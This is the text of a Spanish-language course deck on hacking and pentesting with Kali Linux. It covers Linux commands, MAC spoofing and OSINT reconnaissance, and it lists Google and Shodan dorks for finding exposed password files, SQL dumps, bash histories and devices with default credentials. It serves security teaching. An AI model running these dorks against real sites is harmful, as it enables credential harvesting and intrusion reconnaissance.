Anda di halaman 1dari 337

Diplomado:

Hacking &
PenTesting
Abril 12, 2016
egrullon@qubit.do
by: edwin grulln (amix)
cel. 829.443.5875
Copyright
Este documento est regido bajo los trminos de la GNU
Free Documentacin License (GFDL) y la General
Public License v3 (GPLv3).

Prefacio
Este documento intenta proporcionar de una forma prctica y sencilla el manejo del Sistema
Operativo Kali Linux y las tcnicas profundas de Hacking y Pentesting abarcando as
Escaneos de Hacking, Vulnerabilidades, Auditorias Wireless, Comandos
GNU/Linux, Ingeniera Social, FootPrinting, Enumeracin,
Explotacin, Passwords, Sniffers, Diccionarios,
Frameworks, Web Hacking, etc.
Introduccin
Contenido:

Introduccin
Conceptos y Trminos
Recomendaciones Sobre la Infraestructura
GNU/Linux
Recoleccin de Informacin
Enumeracin
Escaneos
Anlisis Vulnerabilidades
Sniffers
Cracking Wireless Networks
Metasploit
Intrusin
Contenido:

Manteniendo el Acceso
Escalando Privilegios en Linux
SQL Injection
XSS
Pentesting a Aplicaciones Web
Hacking Android con Metasploit
Anlisis Forense
Pruebas de Estrs
Programacin de Scripts en Bash
Configuracin de un Web Server
Configuracin de un FTP Server
Anlisis de Logs
Hackers

Se utiliza la palabra Hacker en su sentido original para describir a una


persona que practica la programacin y seguridad informtica con una
especie de pasin artstica, o que forma parte o se identifica con la
cultura de los hackers, es decir al grupo de personas que
histricamente estn en los orgenes del Internet, de Linux y de la
World Wide Web.
Crackers

El cracker, es considerado un "vandlico virtual". Este utiliza sus


conocimientos para invadir sistemas, descifrar claves y contraseas de
programas y algoritmos de encriptacin, ya sea para poder correr
juegos sin un CD-ROM, o generar una clave de registro falsa para un
determinado programa, robar datos personales, o cometer otros ilcitos
informticos.
Tipos de Hackers

En trminos generales y aproximndonos a una primera


clasificacin, existen tres tipos de Hackers:

White Hats: (Analistas de Seguridad): considerados los chicos


buenos. Son aquellos que utilizan sus habilidades con propsitos
defensivos.

Grey Hats: Son aquellos Hackers que han trabajado tanto en


forma defensiva como ofensiva, dependiendo de la situacin.

Black Hats: Considerados los chicos malos. Son aquellos que


utilizan sus habilidades para realizar actividades ilegales y
cumplir con propsitos maliciosos.
Como ser un Hacker real

Debes adoptar la Cultura de los Hackers


Debes de aprender a Programar
Debes aprender bien Sistemas Operativos
Debes saber sobre Seguridad Profunda
Debes aprender Redes
Debes saber Virtualizacion
Debes saber Base de Datos
Debes comunicarse con otros Hackers
Conocer sobre Informatica en General
Aportar a la comunidad
Debes pensar como Hacker
Ques es una Prueba de
Intrusin?

Es un intento proactivo y autorizado para evaluar la seguridad de


una infraestructura de TI, tratando de manera segura explotar las
vulnerabilidades de los sistemas, los servicios, fallas de
aplicaciones, sistemas operativos, configuraciones incorrectas, e
incluso el comportamiento de un usuario final peligroso.

La intencin de una prueba de intrusin es el de determinar la


posibilidad de un ataque real, la cantidad de impacto en el negocio
de una explotacin real, si es descubierta.
Niveles de Prueba de Intrusin

White Box
Grey Box
Black Box
Tipos de Pruebas de Intrusin

Personas
Ingeniera Social
Concienciacin en Seguridad
Simulaciones Phishing
Personal/Recurso Humano en Seguridad
Medios Sociales

Fsico
CCTV/Sistemas de
Monitoreo
Auditoras en Seguridad
Depuracin de Bug/Auditorias Inalmbricas
Seguridad en Centro de Datos
Tipos de Pruebas de Intrusin

Infraestructura
Sistemas Operativos
Bases de Datos
Routers, Switches,
Firewalls, VPN, RAS
Telefona/Voz IP
Evasin de IPS/IDS

Aplicaciones
Web net, php, xml,
http/s
Las Metodologas que Utilizamos

Varias organizaciones han liberado metodologas libres para


Pentesting.

Estas proveen mucha informacin til que nos ayudan a formalizar


nuestro proceso de pruebas.

Algunas son:

OSSTMM
OWASP
OWISAM
Fases en un PenTest
Fases de un Ciberdelincuente
Cumplimiento de Leyes

Cumplimiento de Leyes y Aseguramiento

Reglas de Compromiso
Compromiso tico.
Propiedad Intelectual.
Limitaciones de responsabilidad.
Convenios de Confidencialidad.
Permiso de set de pruebas.
Leyes aplicables dentro del pas ley 53-07, 126-02, etc.
Seguridad Informtica?

La seguridad informtica es el rea


de las TIC que se enfoca en la
proteccin de la infraestructura
computacional y todo lo relacionado
con esta, especialmente, la
informacin contenida o circulante.
Seguridad de la Informacin?

Consiste en la preservacin de
su confidencialidad, integridad
y disponibilidad, as como de
los sistemas implicados en su
tratamiento, dentro de una
organizacin.
Que no es Seguridad?

Un producto (Anti-Virus, Firewall, IDS/IPS, etc.)


Un mdulo o fase de un Proyecto
Estar al da, estar actualizado
Usar tal o cual Marca, Framework, Sistema Operativo, etc.
Alguna certificacin de Seguridad

La seguridad es un proceso no un producto


Ciber Amenazas y
Ciber Ataques

Algunos Web Sites a mencionar:

http://map.norsecorp.com
http://www.digitalattackmap.com
https://cybermap.kaspersky.com
http://www.zone-h.org
La Deep WEB

La Deep Web, como su nombre lo indica, no es parte de la Surface


Web, que es la parte de Internet que utilizas todos los das para ver
videos en YouTube, leer tu correo electrnico en Gmail, compartir fotos
con tus amigos en Facebook, buscar informacin de Google, etc.

La otra Internet, la llamada Deep Web, alberga tanto o ms


contenido que la Surface Web, pero para tener acceso a este
contenido debemos conocer el mecanismo correcto para entrar ah.
Que es el Phishing?

El Phishing es un engao que nos hacen envindonos un correo como


si fuera legitimo (ej. Nuestro banco) para acceder a una pagina que
aparenta ser de nuestro banco, red social, correo, etc., haciendo que el
estafador se quede con nuestras credenciales y as utilizarlas para
luego acceder a nuestra cuenta.

Ejemplo:

https://www.facebook.com
Certificados SSL/TLS

Es un protocolo que hace uso de certificados digitales para


establecer comunicaciones seguras a travs de Internet.
Recientemente ha sido sustituido por TLS (Transport Layer
Security) el cual est basado en SSL y son totalmente compatibles.

Te permite confiar informacin personal a sitios web, ya que tus


datos se ocultan a travs de mtodos criptogrficos mientras
navegas en sitios seguros.
Certificados Digitales
Certificados en las Pginas Web

Es el principal protocolo de seguridad en internet. Se trata de una


credencial electrnica que permite identificar a una entidad (persona,
organizacin o dispositivo).
Ingeniera Social

Ingeniera social es la prctica de obtener informacin confidencial a


travs de la manipulacin de usuarios legtimos.

Es una tcnica que pueden usar ciertas personas, tales como


investigadores privados, criminales, o delincuentes informticos, para
obtener informacin, acceso o privilegios en sistemas de informacin
que les permitan realizar algn acto que perjudique o exponga la
persona u organismo comprometido a riesgo o abusos.

video
Otros Conceptos

DevOps Exploit
PenTester Payload
Malware Preackers
e-Mail Spoofing
Ransomware
Vulnerabilidad
Sniffers Esteganografa
Phishing Cyber Security
Pharming Cyber Crime
Defacers Forensic
Ataques de DDoS
Reverse Engineering
Ignoto
Doxing
Que es una Vulnerabilidad?

Es una falla o debilidad que puede ser explotada para causar


dao.

Que es una evaluacin de vulnerabilidad?

Una evaluacin de la vulnerabilidad es el proceso de identificar,


cuantificar y priorizar las vulnerabilidades en un sistema.
Qu es un Hash?

Es una funcin que se encarga de representar de forma compacta


a un archivo o conjunto de datos que normalmente son de mayor
tamao que el hash independientemente del propsito de su uso.

Un uso que tiene esta funcin es la de garantizar la integridad de


los datos y es algo que han visto muchas veces, por ejemplo en
algunas webs que proporcionan descargas de archivos grandes,
por ejemplo software, dando junto a su vez el resumen del archivo
y la funcin usada.
Criptografa

Tradicionalmente se ha definido como el mbito de la criptologia


el que se ocupa de las tcnicas de cifrado o codificado destinadas
a alterar las representaciones de ciertos mensajes con el fin de
hacerlos ininteligibles a receptores no autorizados. Estas tcnicas
se utilizan tanto en el Arte como en la Ciencia. El objetivo
principal de la criptografa es conseguir la confidencialidad de los
mensajes.
Recomendaciones sobre
Infraestructura de TI
Infraestructura de TI
Recomendaciones

cisecurity.org

Para aplicar hardening a la mayora de los servicios

https://benchmarks.cisecurity.org/downloads/multiform
GNU/Linux

Historia de *NIX y GNU/Linux


Software Libre
Open Source
Diferencia entre Software Libre y Open Source
Distribuciones GNU/Linux
Diferencia entre las Distribuciones
Organizacin del Sistema
Introduccin a SystemD
Comandos Bsicos
Editor VI/VIM
GNU/Linux

Historia de UNIX

Unix (registrado oficialmente como UNIX) es un sistema operativo


portable, multitarea y multiusuario; desarrollado, en principio, en 1969
por un grupo de empleados de los laboratorios Bell de AT&T, entre los
que figuran Ken Thompson, Dennis Ritchie y Douglas McIlroy. UNIX
es un Sistema Operativo no libre muy popular, porque est basado en
una arquitectura que ha demostrado ser tcnicamente estable.

Familia UNIX
AT&T, la familia que tuvo su origen en el UNIX de AT&T. Considerada
la familia UNIX "pura" y original. Sus sistemas operativos ms
significativos son UNIX System III y UNIX System V.
GNU/Linux
BSD son las iniciales de Berkeley Software Distribution (en espaol,
Distribucin de Software Berkeley) y se utiliza para identificar un
sistema operativo derivado del sistema Unix nacido a partir de los
aportes realizados a ese sistema por la Universidad de California en
Berkeley.
Algunos de los sistemas operativos que se basan en este modelo son los
basados en BSD como:

FreeBSD
NetBSD
OpenBSD
DragonFlyBSD
DesktopBSD
PCBSD
GNU/Linux

AIX esta familia surge por el licenciamiento de UNIX System III a IBM.

Xenix es la familia derivada de la adquisicin de los derechos


originales de AT&T primero por parte de Microsoft y de esta los vendi
a SCO.

Tru64UNIX actualmente de Hewlett-Packard (antes de Compaq y


originalmente de Digital Equipment Corporation).

UnixWare y SCO OpenServer anteriormente de Santa Cruz Operation


y ahora de SCO Group.

UX/4800 de NEC.
GNU/Linux

Oracle Solaris es uno de los sistemas operativos Unix ms difundidos


en el entorno empresarial y conocido por su gran estabilidad. Parte del
cdigo fuente de Solaris se ha liberado con licencia de fuentes abiertas
(Open Solaris).

HP-UX de Hewlett-Packard. Este sistema operativo tambin naci


ligado a las computadoras departamentales de este fabricante. Tambin
es un sistema operativo estable que continua en desarrollo.

Mac OS se trata de un UNIX completo, aprobado por The Open Group.


Su diferencia marcada es que posee una interfaz grfica propietaria
llamada Aqua, y es principalmente desarrollada en Objective-C en
lugar de C o C++.
GNU/Linux

IRIX de Silicon Graphics Inc.

GNU/Linux es un poderoso y sumamente verstil sistema operativo


con licencia libre y que implementa el estndar POSIX (acrnimo de
Portable Operating System Interface, que se traduce Como Interfaz de
Sistema Operativo Portable).
GNU/Linux
Software Libre
El software libre es una cuestin de libertad, no de precio y para
entender el concepto, deberamos de pensar en libre como en libre
expresin, no como en Cerveza Gratis.

Open Source
Otro grupo ha comenzado a usar el trmino cdigo abierto (en ingls
open source) que significa algo parecido (pero no idntico) a
software libre. Preferimos el trmino software libre porque, una vez
que ha escuchado que se refiere a la libertad en lugar del precio, le hace
pensar en la libertad. La palabra abierto nunca se refiere a la libertad.
GNU/Linux

Diferencia entre Free Software y Open Source

La diferencia radica en que Free Software representa la parte tica,


moral mientras Open Source no.

Tanto Open Source como Free Software son movimientos sociales,


preocupados sobre lo que puedes o debes poder hacer (derechos) con
los programas (software). Tienen diferencias filosficas pero pocas
diferencias prcticas.
Distribuciones GNU/Linux

Las principales:

Debian, Red Hat, Slackware, Gentoo, entre otras.

Existen otras que nacen a partir de una de estas como son:

Debian: Ubuntu, Knoppix, Linux Mint, BackTracks, etc.

Red Hat: CentOS, Mandriva, Suse, Fedora, White Hat, Oracle Linux

Diferencia entre las Distribuciones


Organizacin del Sistema

GNU/Linux est organizado en una forma jerrquica. GNU/Linux


considera cada archivo, directorio, dispositivo, y vnculo como un
archivo colocado en esta estructura.

En el sistema de ficheros de GNU/Linux, existen varias sub-jerarquas


de directorios que poseen mltiples y diferentes funciones de
almacenamiento y organizacin en todo el sistema. Estos directorios
pueden clasificarse en:

Estticos: Contiene archivos que no cambian sin la intervencin del


administrador (root), sin embargo, pueden ser ledos por cualquier
otro usuario. (/bin, /sbin, /opt, /boot, /usr/bin...).

Dinmicos: Contiene archivos que son cambiantes, y pueden leerse y


escribirse (algunos slo por su respectivo usuario y el root).
(/var/mail, /var/spool, /var/run, /var/lock, /home...).
GNU/Linux

Introduccin a SystemD

Systemd es un nuevo sistema para la administracin de dispositivos,


eventos y servicios en GNU/Linux creado por Lennart Poettering. Es el
reemplazo para sysvinit, upstart y udev en la mayora de las
distribuciones modernas. Se utiliza en CentOS 7, Red Hat Enterprise
Linux 7 y versiones recientes de prcticamente todas las distribuciones
de GNU/Linux, incluyendo Debian, Ubuntu y Fedora.
GNU/Linux

Cont. SystemD

A pesar de tratarse de tecnologa de vanguardia, es compatible con los


mtodos utilizados en el pasado en SysV y LSB y las mejoras respecto
de estos incluyen capacidades de activacin de zcalos y buses que
permiten una mejor ejecucin en paralelo de servicios independientes y
el uso de cgroups para realizar el seguimiento de los procesos del
servicio en lugar de utilizar PIDs.

Esto ultimo impide que los servicios puedan evadir la administracin


de systemd.
Comandos Basicos

ls head file
more tail stat
cp diff
less mv uname
cat touch host
wc history hostname
free date
mkdir
uptime cpuinfo
rmdir df cal
rm du bc
ifconfig dmidecode
cd
route sudo
GNU/Linux

alias locate
chown find
chmod cmospwd
shutdown md5sum
halt sha256sum
poweroff sha512sum
reboot httrack
su
file
fdisk
lspci
lsusb
Comandos Basicos

El commando ls

Sirve para listar archivos

ls a para listar los archivos ocultos


ls l para listar archivos en format largo
ls ltr para listar archivos en orden y con reversa
ls li para listar los inodes de los archivos

Etc.
Los comandos less y more son paginadores que nos permiten
visualizar archivos y poder leerlos paginas por paginas.

less archivo
more archivo

El comando cat fue creado para concatenar archivos pero tambien se


utiliza para ver el contenido de un archivo.

cat archivo
o
cat archivo1 archivo2 > archivo3
Esto para guardar el contenido de archivo 1 y 2 en el 3.
El comando wc se utiliza basicamente para contar caracteres, palabras
y lineas de un archivo.

wc archivo
wc l archivo
wc c archivo
wc m archivo

El comando mkdir se utiliza para crear directories

mkdir directorio1 directorio2


mkdir p dir/clase/linux/{teoria,comando}
mkdir m 700 dir2
El comando rmdir se utiliza para borrar directorios pero que se
encuentran vacios.

rmdir dir2

El comando rm se utiliza para borrar archivos y directories

rm directorio1
rm rf directorio2
Apagar el Sistema

halt
poweroff
shutdown h now
Init 0

Para reinicio del Sistema

reboot
shutdown r now
init 6
El comando cd se utiliza para cambiar de directorio

cd /var/log
cd - para volver al directorio anterior
cd ~ para ir al directorio home del usuario
cd ../../ para ir dos directorios hacia atras

El comando file se utliza para identificar el tipo de archive

file /etc/passwd
file dir
Los commandos head y tail son utlizados para ver el encabezado y fin de
un archivo, por default cada uno de estos presentan 10 lineas.

head -5 /etc/passwd para listar las primeras 5 lineas del archivo


passwd

head n 5 /etc/passwd

tail -7 /etc/passwd Listar las ultima 7 lineas del archivo


/etc/passwd

tail +8 /etc/passwd Listar todas las lineas de la 8 hacia abajo del


archivo passwd

tail f /var/log/message para ver cambios en tiempo real en el archivo


El comando cp se utiliza par copiar archivos.

cp /etc/passwd .
cp /etc/passwd /opt/happyhacking

El comando se utiliza para mover archivos y tambien para cambiarle el


nombre a los archivos.

mv /opt/happyhacking .
mv passwd edwin-passwd
El comando ara cambiar la fecha a un archivo y tambin para crear un
archivo vaco.

touch archivo El formato de la fecha es


AAMMDDhhmm.ss.

touch a archivo para fecha de acceso

touch m archivo para fecha de modificacin

touch am t 0905231130 archivo para una fecha especifica


Comando diff se utiliza para comparar archivos

diff archivo /etc/passwd


diff i archivo /etc/passwd para ignorar maysculas
y minsculas
Comando sleep se utiliza mayormente en scripts para hacer una parada
en segunos.

ls l; sleep 3; clear

Comando uptime se utiliza mayormente para ver tiempo que tiene un


equipo iniciado

uptime
Comando history se utiliza para ver el historial de comandos

history para ver el historial


history 18 para ver los ultimos 18 comandos
!! Se utiliza para ejecutar el ultimo comando
!5 Se utiliza para ejecutar el comando 5
!upt para ejecutar algun comando del history con
nombre de inicio upt
Comando hostname bsicamente es para saber el nombre de su equipo

hostname
hostname i para saber la ip de su equipo

Comando uname es para saber informacin del kernel, arquitectura,


etc.
uname a
uname m igual al comando arch
uname r version del kernel

Comando date nos presenta la fecha y hora del sistema

date
Comando cal este comando presenta el calendario

cal 2003
cal 2018
cal Feb 2025

Comando bc es una calculadora en la consola

bc
bc q para que no despliegue mensaje
Identificar Informacin del Sistema

Para informacin de la memoria RAM


free m
cat /proc/meminfo
meminfo

Para informacin del CPU


cpuinfo
cat /proc/cpuinfo

Para informacin de discos


fdisk l
lsblk
blkid
lspci tv Para interfaces y tarjetas

lsusb tv Para usb

cat /proc/mounts Para sistemas de archivos montados

cat /proc/versin Para versin del kernel

cat /proc/interrupts Para interrupciones del sistema


Tipos de Archivos GNU/Linux

carcter Tipo de Archivo


- Archivo Ordinario
b Block device/Dispositivo de Bloque
c Carcte r device/Dispositivo de carcte r
d Directorio
l Link/Vinculo

Bsicamente existen tres permisos que pueden ser asignados a


cualquier archivo o directorio, cada uno puede ser representado por
una letra singular as:

1. r (read/leer)
1. w (write/escribir)
2. x (execute/ejecutar)
U = user r =4
G = grupos w=2
O = otros x=1

Cmo afectan los permisos a los directorios:


r permite ver su contenido(no el de sus ficheros)
w permite aadir o eliminar ficheros (no modificarlos)
x permite acceder al directorio.

u g o : usuarios
rwx rwx rwx : permisos
Comando chmod

Se utiliza para cambiar los permisos de los archivos:


chmod ugo+rwx archivo
chmod R a+x directorio
chmod +rwx archivo3
chmod go-w archivo
chmod uo=x archivo4

Otra forma directa


chmod 644 archivo2
chmod R 744 directorio2
Comando chown

Se utiliza para cambiar el dueno o grupo de algun archivo o directorio.

chown egrullon file1 cambiar el propietario a file1


chown R egrullon.tecnologia directorio1 cambiar propietario y grupo
chown egrullon:mercadeo directorio4 cambiar propietario y grupo
chown .tecnologia directorio2 cambiar grupo al directorio
chown R :contabilidad directorio5 cambiar grupo al directorio
chgrp contabilidad directorio3 cambiar grupo al directorio
Permisos especiales
suid = 4
sgid = 2
sticky bit = 1
s: los atributos suid y sgid, otorgan a un "fichero" los permisos de su dueo o
grupo respectivamente, cada vez que se ejecute, sea quien sea el que lo
ejecute.
t: el atributo sticky (pegajoso) hace que slo el propietario del fichero pueda
borrarlo.
chmod u+s file1
chmod u-s file1
chmod g+s file2
chmod g-s file2
chmod o+t file1
chmod o-t file1
Mascara de permisos
umask se utiliza para determinar los permisos que tendran los archivos

Una manera rpida de averiguar los permisos partiendo de umask es aplicando la


siguiente resta:

777-022=755 para el primer caso


777-000=777 para el segundo.

Cuando umask es 022, los permisos normales de un directorio son 755 (rwx r-x r-x)
producto de la resta 777-022. Sin embargo los de un fichero son 644 (rw-r--r--).

sto es as porque se considera que lo normal para un fichero es que no sea


ejecutable de manera que la resta para averiguar los permisos de un fichero sera 666-
022 = 644. Si escribo en una consola umask 000 y a continuacin "mkdir
nuevodirectorio", ste tendr todos los premisos: rwx rwx rwx (777) pero y los
ficheros que creemos dentro de dicho directorio? pues stos tendrn los permisos rw-
rw-rw- (666) resultado de la resta 666-000 = 666.
Editor VI/VIM

Vi / Vim

Vi (Visual) es un programa informtico que entra en la categora de los


editores de texto. Esto es as, pues a diferencia de un procesador de
texto no ofrece herramientas para determinar visualmente cmo
quedar el documento impreso. Es por esto que carece de opciones
como centrado o justificacin de prrafos, pero permite mover, copiar,
eliminar o insertar caracteres con mucha versatilidad.
Editor VI/VIM

rdenes bsicas

Las rdenes ms importantes que hay que saber son:

Moverse a la izquierda - h
Moverse a la derecha - l
Moverse arriba - k
Moverse abajo - j
Insertar texto - i
Borrar carcter - x
Editor VI/VIM
rdenes de salir de vi

Salir sin grabar los cambios - :q


Salir grabando los cambios - :x
Salir grabando los cambios - :wq
Salvar los cambios actuales - :w
Salvar como fichero - :w fichero
Insertar otro archivo desde el cursor fichero - :r fichero
Editar otro fichero - :e fichero
Editar siguiente fichero - :n
Editar el anterior fichero - :prev
Editor VI/VIM

Accediendo a Vi

vi archivo-nuevo abre o crea un archivo


vi /ruta-archivo/archivo abre o crea un archivo en la carpeta indicada
vi r muestra archivos rescatados
vi r archivo recupera archivos cerrados inadecuadamente
vi archivo1 archivo2 abre mltiples archivos
vi +n archivo abre el archivo y posiciona el cursor en la lnea n
vi +/palabra archivo abre el archivo y posiciona el cursor en la lnea
donde encuentra la palabra
Editor VI/VIM
Estableciendo rdenes para Sustituir
:s/actual/futuro sustituye la palabra 'actual' por 'futuro' en la lnea actual.
:s/actual/futuro/g sustituye todas las palabras 'actual' por 'futuro' en la lnea actual.
:%s/actual/futuro/g sustituye todas las palabras 'actual' por 'futuro' en todo el
archivo.
:s/actual/futuro/g/c sustituye todas las palabras 'actual' por 'futuro' en todo el
archivo y pide confirmacin para efectuar los cambios.

Estableciendo opciones del archivo


:set muestra las opciones con las que fue generado el archivo.
:set all muestra el men de opciones que pueden ser implementadas al archivo.
:set no deshabilita alguna de las opciones implementadas al archivo.
:set nu habilita la numeracin de las lneas en Vi.
:set nonu deshabilita la numeracin de las lneas en Vi.
15@a para repetir una lnea 15 veces o n cantidad de veces.
Utilitario macchanger
Macchanger

ifconfig eth0 down # primero bajar la interface de Red.


macchanger -a eth0 # para asignar una Mac Address aleatoria.
ifconfig eth0 up # luego del cambio subir la interface de Red.
macchanger -m 85:b2:d1:a0:00:01 eth0 # para asignar una Mac Address
especifica.
macchanger -r eth0 # para asignar una Mac Address Random.
macchanger -p eth0 # para poner la Mac Address original.
macchanger s eth0 # para listar la Mac Address.

Nota: Con el comando ifconfig tambin podemos cambiar la Mac Address.


ifconfig eth0 down
ifconfig eth0 hw ether a2:00:11:22:33:44
ifconfig eth0 up
Utilitario netstat
Netstat

man netstat
netstat vatn # examinar todas las conexiones TCP.
netstat tulpn # buscar puertos de red escuchando.
netstat -an | grep :80 # para filtar todo por el Puerto 80.
netstat -ap | grep ssh # que programa est corriendo.
netstat a # para ver todo tipo de sockets en
pantalla.
netstat tupac # para ver conexiones de red, internet
local, aplicaciones en espera.
netstat ntpl # solo puertos abiertos.
netstat putan # para todos los puertos tcp, udp
abiertos.
netstat antpx # para conexiones tcp tipo unix.
Utilitario curl

Curl

man curl
curl --help

curl -v http://ftp.transunion.com.do # para verificar la conexin


hacia la URL
curl I www.viva.com.do # para ver las cabeceras del
del web Server.
curl k v https://viva.com.do:443 # para verificar la conexin
hacia la URL y con -k para el
certificado.
curl ifconfig.me # para verificar mi ip publica
si estoy conectado en la
Internet.
Utilitario fping

Fping

man fping
fping -h

fping -g 192.168.0.0/24
fping -g 192.168.0.0/24 2> /dev/null | grep alive
fping -s -g 192.168.0.1 192.168.0.180
Detectar Rootkits en Linux

Rkhunter y Chkrootkit

Nota: Ambas herramientas se utilizan para detectar RootKits en sistemas


tipo Unix.

rkhunter --help # para la ayuda.


rkhunter --update # para actualizar la base de datos de rkhunter.
rkhunter -c --sk # para ejecutar rkhunter.

chkrootkit --help # para la ayuda.


chkrootkit # para ejecutar el chkrootkit.
Recoleccion de Informacion

En esta etapa es donde se trata de recolectar toda la informacion


possible del objetivo, ya sea via internet realizando Hacking con
buscadores enfocado al objetivo OSINT, Revisar Versiones en
Archive.org, Bsqueda Inversa de Imgenes y Logos, Whois,
DNS, Reverse IP, Extraccin y Anlisis de Metadatos.
Recoleccion de Informacion
FootPrinting (Reconocimiento)

Esta definida como el proceso de creacin de una huella o mapa de los


sistemas y redes de organizacin. Tambin podramos definirlo a travs de la
recoleccin de informacin de una organizacin. El proceso de Footprinting
comienza con la definicin del sistema objetivo, aplicacin o ubicacin fsica
del mismo. Una vez que esta informacin es definida se comenzara la
bsqueda de forma no intrusiva.

Objetivo: Mayor Cantidad de informacin sobre la red seleccionada.

Tipo de Informacin:

Cultura Organizacional y Personas


Terminologas internas
Infraestructura Tcnica
Recoleccion de Informacion

Cont. FootPrinting (Reconocimiento)

El reconocimiento es el primer paso llevado a cabo por cualquier


intruso potencial.

Tipos de Reconocimiento:

Pasivo
Activo
Recoleccion de Informacion
Tipos de Reconocimientos:

Pasivo
El reconocimiento pasivo podra ser ejemplificado atravs de una
persona observando el edificio de la organizacin (desde una distancia
apreciable), tomando nota de los horarios del personal, el lugar de
fumadores, la conducta de los guardias de seguridad ante determinados
eventos, etc.

Activo
El reconocimiento activo, por otro lado, involucra un riesgo mucho
mayor para el atacante de ser detectado, ya que este se encontrara
interactuado directamente con el objetivo, ya sea realizando llamadas
telefnicas o interactuando directamente con los dispositivos de
comunicacin del objetivo.
Recoleccion de Informacion

Bsqueda de URLs internas y externas


Base de datos WHOIS
Consulta de registros del DNS
Localizar rangos de direcciones IP(Externas/Internas)
Bsqueda de informacin en Internet
Traza de Rutas - Traceroute
Extraccin del Sitio Web
Traza de Correo Electrnico Mail Tracking
Ingeniera Social
Bsqueda de informacin en basureros Dumpster diving
Entre otras opciones.
Recoleccion de Informacion

Enumeracin de Recursos WHOIS, DNS

En netcraft.com lo utilizamos para ver informacin de la IP pblica de


nuestro objetivo.

En el buscador bing.com ver todos los subdominios de una IP de nuestro


objetivo.

Ejemplo:
IP: 190.8.37.12
Recoleccion de Informacion
Sitios web para realizar footprinting

http://www.dnsstuff.com
http://dnscheck.pingdom.com
http://fixedorbit.com
http://www.geektools.com
http://www.kartoo.com
http://www.netcraft.com
http://www.robtext.com
http://www.samspade.org
http://www.whois.net
http://www.rwhois.net
http://mxtoolbox.com
https://geoiptool.com
Recoleccion de Informacion
Extraccin de informacin de sitios Web

Shodan:
El site https://www.shodan.io se utiliza para encontrar dispositivos que
estn publicados a travs de internet.

Archive:
El site www.archive.org se utiliza para ver el historial de cualquier
pgina y poder sacar alguna informacin del viejo site.
Recoleccion de Informacion
Extraccin de informacin de sitios Web

https://scans.io
https://zmap.io
https://www.netdb.io
http://www.mrlooquer.com
https://www.censys.io

SSLLabs:
Para evaluar el certificado de algn site.
https://www.ssllabs.com/ssltest/index.html
Recoleccion con Shodan

Snon VoIP
Visualware MySpeed Server
default password
XAVi Analog Telephone Adaptor

apache 2.2.3
no authentication -VPN port 22

Default username and password


Unique username and password
Changing configurations
show running -config
iis/3.0

javascript:SnapshotWin()
client.html
camera web
Recoleccion con Shodan

Snon VoIP
Visualware MySpeed Server
default password
XAVi Analog Telephone Adaptor
system
security
network
wireless
Accesslist
audiovideo
cameracontrol
mailftp
motion
syslog
Recoleccion con Google

Motores de Bsqueda (Google Hacking)

Para busquedas en URL sobre nuestro objetivo. Para filtrar la


busqueda y hacerla mucho mas directa.

Ejemplo:

inurl:main.cgi Linksys
site:com.do OR site:gob.do
inurl:php site:gov.do
site:taringa.net avg
inurl:CgiStart?Page=
intitle:"Index of" passwords modified
Recoleccion con Google

intitle:"Index of" config.php


site:viva.com.do +intranet www + password
site:viva.com.do ext:pdf
site:viva.com.do intext:login (backup)
intitle:"SpeedStream Router Management Interface"
intitle:"index of" myshare
filetype:reg reg hkey_current_user username
inurl:backup intitle:index of inurl:admin
ext:sql intext:"alter user" intext:"identified by"
ext:sql "insert into * password"
"index of/backup"
Recoleccion con Google

define:sql injection
define:nepotismo
site:taringa.net descargar windows 8.1
kali-linux filetype:pdf
kali-linux filetype:pdf site:kali.org
autor:guido van rossum filetype:pdf

Busqueda de configuraciones indexadas, archivos, upload, panel de


admin:

index of /
index of / ( upload.cfm | upload.asp | upload.php | upload.cgi |
upload.jsp | upload.pl )
intitle:admin intitle:login
Recoleccion de Informacion

Usuarios:

intext:"root:x:0:0:root:/root:/bin/bash" inurl:*=/etc/passwd

filetype:reg reg hkey_current_user username

inurl:admin filetype:asp inurl:userlist

Directorios compartidos, historiales de bash, sym, archivos de


configuracion, recycler:

intitle:"index of" myshare


intitle:index.of intext:.bash_history
index of inurl:sym
intitle:index.of.config
"index of" inurl:recycler
Recoleccion de Informacion
Informacin sensible de wordpress, modulos CGI

inurl:wp-content/wpbackitup_backups
inurl:/cgi-bin/.cgi
allinurl:/hide_my_wp=

Respaldos restringidos passwords, private, secret, protected

inurl:backup intitle:index of inurl:admin


index.of.password
index.of.private
index.of.secret
index.of.protected
"index of/backup"
Recoleccion de Informacion

Para Worpress, errores en php, nessus, usuarios y contrasenas

"select all / unselect all" inurl:server_export


ext:txt host password
ext:txt stealer password

Cache, ext, web en busqueda de dorks, google alerts

pagina http://www.hackersforcharity.org/ghdb/
ext:sql intext:"alter user" intext:"identified by"
https://www.google.com/alerts
Recoleccion de Informacion

Archivo Robots

Robots y user-agent
robots o webcrawler
googlebot, bingbot

Son utilizados para saber si la pagina web permite indexar o no los


directorios listados en el archivo robots.txt.
Tambin el archivo readme.txt si es que lo tienen algunas paginas.

Ejemplo:
http://grupolibre.org/robots.txt
Recoleccion de Informacion

Bing Hacking

En el browser bing.com buscamos:

filetype:pdf site:gob.do
--MySQLdump 10.11
ip:67.18.186.179
Otras localizaciones
Foros, Grupos, Metadatos, etc.
http://www.us-cert.gov
http://www.securitytracker.com
http://www.microsoft.com/security/default.mspx
http://www.securityteam.com
http://www.packetstormsecurity.com
http://www.secunia.com
http://www.securityfocus.com
http://www.exploit-db.com
http://www.hackerstorm.com
http://www.zone-h.org
http://http://cve.mitre.org
http://www.frsirt.com
Notas

Dispositivos para Hackers

https://hakshop.myshopify.com

usb rubber ducky


wifi pineapple
Etc

Algunos Blogs de Seguridad Informatica muy Importantes

www.elladodelmal.com
www.securitybydefault.com
www.dragonjar.org
www.originalhacker.org
www.kontrol0.com
www.sniferl4bs.com
Enumeracin
Enumeracion de Informacion
Utilizando NETCRAFT
http://www.netcraft.com
Enumeracion de Informacin

Paginas para ver configuracin DNS

https://dnsdumpster.com
http://dnscheck.pingdom.com
http://www.intodns.com
http://mydnstools.info
http://www.dnsstuff.com
http://www.freednsinfo.com
http://www.dns-utils.com
https://dmarcian.com/dmarc-inspector/google.com
https://otalliance.org/resources/spf-dmarc-tools-record-validator
Enumeracion de Informacin

Localiza IP

http://www.ip2location.com
http://kharkoma.homelinux.com/gmaps/gmapip.html
http://www.ip-adress.com
http://www.whatismyip.com
http://cmyip.com
https://geoiptool.com
http://www.my-ip-neighbors.com
http://whois.domaintools.com
http://net.ipcalf.com # para IP local
https://panopticlick.eff.org # para tu huella digital
Enumeracion de Informacion

DNS (NSLOOKUP, Host, Dig)

nslookup
server ip-del-dns

set q=mx
grupolibre.org
